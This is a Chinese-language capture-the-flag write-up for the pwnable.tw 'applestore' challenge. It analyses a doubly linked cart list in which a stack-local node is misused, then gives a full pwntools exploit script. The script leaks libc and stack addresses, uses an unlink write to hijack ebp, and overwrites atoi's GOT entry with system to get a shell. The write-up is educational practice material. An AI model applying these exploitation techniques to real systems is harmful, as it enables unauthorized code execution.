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【Pwn#0x06】pwnable.tw applestore writeup

把局部变量用作静态变量,是不是一种栈上数据的UAF……

程序分析

弄懂本题逻辑的关键点在于弄懂其数据结构是什么,而本人花了一天才终于搞明白,居然是用双向链表来表示购物车。

链表结点结构如下:

struct cart_item

而程序中有很多的地方都有经典的双向链表操作,比如insert函数中是把结点添加到链表尾部,remove函数会把结点unlink出双向链表,cart函数会遍历链表等等……

remove(): unlink

漏洞分析

checkout函数将会调用cart函数遍历并计算购物车中所有商品的价格,如果是一个特定值(7174)的话,将会触发一个彩蛋:往购物车的尾部添加一个iPhone8!

然而这个iPhone8就是漏洞的所在——iPhone8结点是一个本地变量,然而程序把这个本地变量当作静态变量使用了!

而作为一个菜单题,很多选项背后的函数,都会在iPhome8结点位置附近(iPhone8结点位于ebp-0x20)放置一个BUFFER来存储输入(BUFFER位于ebp-0x22),因此实际上可以控制iPhone8结点的值

在控制值之后,我们可以利用cart函数泄露任意地址数据,也可以使用remove函数进行unlink attack来覆写数据,但值将会受到限制,因为使用指令向一个不可写地址写入数据将导致程序崩溃。

由于程序显然不存在RWX段,因此我们想要进行unlink attack,fake fd和fake bk都必须是一个可写的段的地址。我们想要劫持控制流,必须要采取别的方法。

这个方法我没有想到,是去网上看大佬WP学到的,我将其称为:Stack Pivot Lite(只劫持ebp的stack pivot)。

具体来说:在handle函数(处理菜单的函数)中,每次循环的一开始都会往BUFFER里读入数据并调用atoi函数将其转换为数字。而这个BUFFER作为栈上的变量,是使用[ebp + offset]的格式来引用的(见下面的汇编代码)。
如果可以劫持ebp,那么实际上我们可以劫持read到别的地方(如atoi的got表位置),然后读入system的地址加上”;/bin/sh”,如此一来,执行atoi的时候实际上执行的是system(“不可打印字符;/bin/sh”)!!

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mov     dword ptr [esp+4], 15h ; nbytes
lea eax, [ebp+nptr]
mov [esp], eax
call my_read

lea eax, [ebp+nptr]
mov [esp], eax ; nptr
call _atoi

那么如何劫持ebp呢?用unlink来写入即可,因为fake fd(got表附近)和fake bk(栈)都是可写的,所以这次unlink可以正常运行!

漏洞利用

脚本逻辑如下:
首先用循环来填充购物车,将总金额凑满7174元。(求多元一次方程的整数解问题,或许是线代的基本功?但是我早就忘了(悲),不过好运的是,我第一次凑就突然凑出来了)

然后在购物车中加入iPhone8,利用Cart函数先后泄露libc地址(利用GOT表)和栈地址(利用_environ)。

第三步,通过覆写remove函数栈帧上的saved ebp,来劫持handle函数的ebp,来劫持提供给read的实参指针。
然后将atoi的got表指针修改为system(),等待handle函数调用 atoi([ebp-0x22]) ,实际上执行的是 system("不可打印字符;/bin/sh") ,拿到Shell和Flag。

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from pwn import *
context.arch='i386'
# context.log_level='debug'

filename="./applestore"
# io = process([filename])
io = remote("chall.pwnable.tw", 10104)
elf=ELF(filename)

libc_name="./libc_32.so.6"
# libc_name="/home/nss/glibc-all-in-one-master/libs/2.23-0ubuntu5_i386/libc.so.6"
libc=ELF(libc_name)

def Debug():
gdb_script = """
b *0x8048beb
"""
g = gdb.attach(io, gdb_script)

def Add(ID):
io.sendlineafter(b"> ", b'2')
io.sendlineafter(b"> ", str(ID).encode('ascii'))

def Remove(ID):
io.sendlineafter(b"> ", b'3')
io.sendlineafter(b"> ", str(ID).encode('ascii'))

def List():
io.sendlineafter(b"> ", b'4')
io.sendlineafter(b"> ", b'y')

def Checkout():
io.sendlineafter(b"> ", b'5')
io.sendlineafter(b"> ", b'y')

"""Edit metadata of iPhone 8 struct and print it"""
def List_Edit(data):
io.sendlineafter(b"> ", b'4')
io.sendlineafter(b"> ", b'yy'+data)

def Unlink_Attack(fd, bk):
io.sendlineafter(b"> ", b'3')
io.sendlineafter(b"> ", b'27'+pack(0x8049000)+pack(0xdeadbeaf)+fd+bk)


for i in range(6):
Add(1)
for i in range(20):
Add(2)

# leak libc and stack:
Checkout()
List_Edit(pack(elf.got["puts"]) + pack(0x114514))
io.recvuntil(b'27: ')
libc_base = unpack(io.recvuntil(b'28: ')[0:4]) - libc.symbols['puts']
success("libc_base: " + hex(libc_base))

_environ_addr = libc_base + libc.symbols["_environ"]
success("_environ_addr: " + hex(libc_base))
List_Edit(pack(_environ_addr) + pack(0x114514))
io.recvuntil(b'27: ')
environ = unpack(io.recvuntil(b'28: ')[0:4])
success("environ: " + hex(environ))

savedrbp_addr = environ - 0xffffd13c + 0xffffd038
success("savedrbp_addr: " + hex(savedrbp_addr))

# unlink attack
# Debug()
Unlink_Attack(pack(elf.got["atoi"] + 0x22), pack(savedrbp_addr - 0x8)) # saved rbp
io.sendline(pack(libc_base+libc.symbols["system"])+b";/bin/sh")

io.interactive()